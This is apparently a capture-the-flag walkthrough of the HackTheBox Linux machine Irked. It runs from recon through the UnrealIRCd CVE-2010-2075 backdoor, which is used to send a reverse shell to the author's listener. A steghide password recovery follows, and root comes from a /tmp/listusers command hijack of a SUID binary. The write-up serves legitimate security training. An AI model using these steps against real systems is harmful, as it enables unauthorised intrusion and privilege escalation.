← hackthebox
HTB easy · linux

Irked

platformHackTheBox
machineIrked
categoryLinux
osLinux
unrealircd 3.2.8.1 backdoor (cve-2010-2075) steghide credential recovery suid binary command injection relative path hijack
Irked Machine

Recon

Starting with nmap. Alongside SSH and Apache, there are three ports serving UnrealIRCd (6697, 8067, 65534) plus rpcbind.

[irked] nmap -Pn -sSVC -p- -T5 --min-rate 2000 -v -oN nmap 10.129.71.144
Nmap scan report for 10.129.71.144
Host is up (0.15s latency).
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u4 (protocol 2.0)
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
111/tcp   open  rpcbind 2-4 (RPC #100000)
6697/tcp  open  irc     UnrealIRCd
8067/tcp  open  irc     UnrealIRCd
46273/tcp open  status  1 (RPC #100024)
65534/tcp open  irc     UnrealIRCd
Service Info: Host: irked.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Port 80 is a near-empty Apache page (only /manual is present), so I added irked.htb to /etc/hosts and pivoted to the IRC daemon. Connecting raw with nc and registering a nick prints the exact version:

[irked] nc irked.htb 6697
:irked.htb NOTICE AUTH :*** Looking up your hostname...
NICK jk
USER jk 0 * myname
:irked.htb 001 jk :Welcome to the ROXnet IRC Network jk!jk@10.10.14.172
:irked.htb 002 jk :Your host is irked.htb, running version Unreal3.2.8.1

Exploitation

Unreal3.2.8.1 is the release that shipped with a backdoor in its source tree, CVE-2010-2075. The tainted code passes any data sent after the token AB; straight to system(), so any client can run shell commands on the server before authenticating.

I used exploit2.py, which opens a socket to the IRC port and sends AB; followed by a Perl reverse shell pointed back at my listener. With nc waiting on 4444, running it fires the backdoor:

[irked] python3 exploit2.py irked.htb 6697 10.10.14.172 4444
[irked] nc -lvnp 4444
ircd@irked:/home/djmardov/Documents$ id
uid=1001(ircd) gid=1001(ircd) groups=1001(ircd)

Post Exploitation

The shell lands as ircd. In djmardov's Documents folder there is a hidden .backup file. It is not a login password but a passphrase, and the wording hints at steganography:

ircd@irked:/home/djmardov/Documents$ cat .backup
Super elite steg backup pw
UPupDOWNdownLRlrBAbaSSss

Port 80 served an image, irked.jpg. Running steghide against it with that passphrase extracts an embedded file:

[irked] steghide extract -sf irked.jpg
Enter passphrase: UPupDOWNdownLRlrBAbaSSss
wrote extracted data to "pass.txt".
[irked] cat pass.txt
Kab6h+m+bbp2J:HG

That string is djmardov's password. It works over SSH (or a simple su), giving a real session and the user flag:

[irked] ssh djmardov@irked.htb
djmardov@irked.htb's password: Kab6h+m+bbp2J:HG
djmardov@irked:~$ cat ~/user.txt

Privilege Escalation

Searching for SUID binaries turns up a non-standard one, /usr/bin/viewuser, owned by root:

djmardov@irked:/tmp$ find / -perm /4000 2>/dev/null | xargs ls -la
...
-rwsr-xr-x 1 root   root          7328 May 16  2018 /usr/bin/viewuser
...

Running it prints a banner and the logged-in users, then tries to execute /tmp/listusers and fails because the file does not exist:

djmardov@irked:/tmp$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2026-01-23 09:09 (:0)
djmardov pts/1        2026-01-23 10:05 (10.10.14.172)
sh: 1: /tmp/listusers: not found

The binary invokes /tmp/listusers with the SUID root privileges and never validates its contents, so whatever I put in that file runs as root. I confirmed with id, then swapped in a command to read the flag:

djmardov@irked:/tmp$ echo 'id' > /tmp/listusers
djmardov@irked:/tmp$ chmod 777 /tmp/listusers
djmardov@irked:/tmp$ /usr/bin/viewuser
This application is being devleoped to set and test user permissions
It is still being actively developed
(unknown) :0           2026-01-23 09:09 (:0)
djmardov pts/1        2026-01-23 10:05 (10.10.14.172)
uid=0(root) gid=1000(djmardov) groups=1000(djmardov),24(cdrom),...

djmardov@irked:/tmp$ echo 'cat /root/root.txt' > /tmp/listusers
djmardov@irked:/tmp$ /usr/bin/viewuser
─────────────────────────────────────
HackTheBox // Irked
ribeir.in
─────────────────────────────────────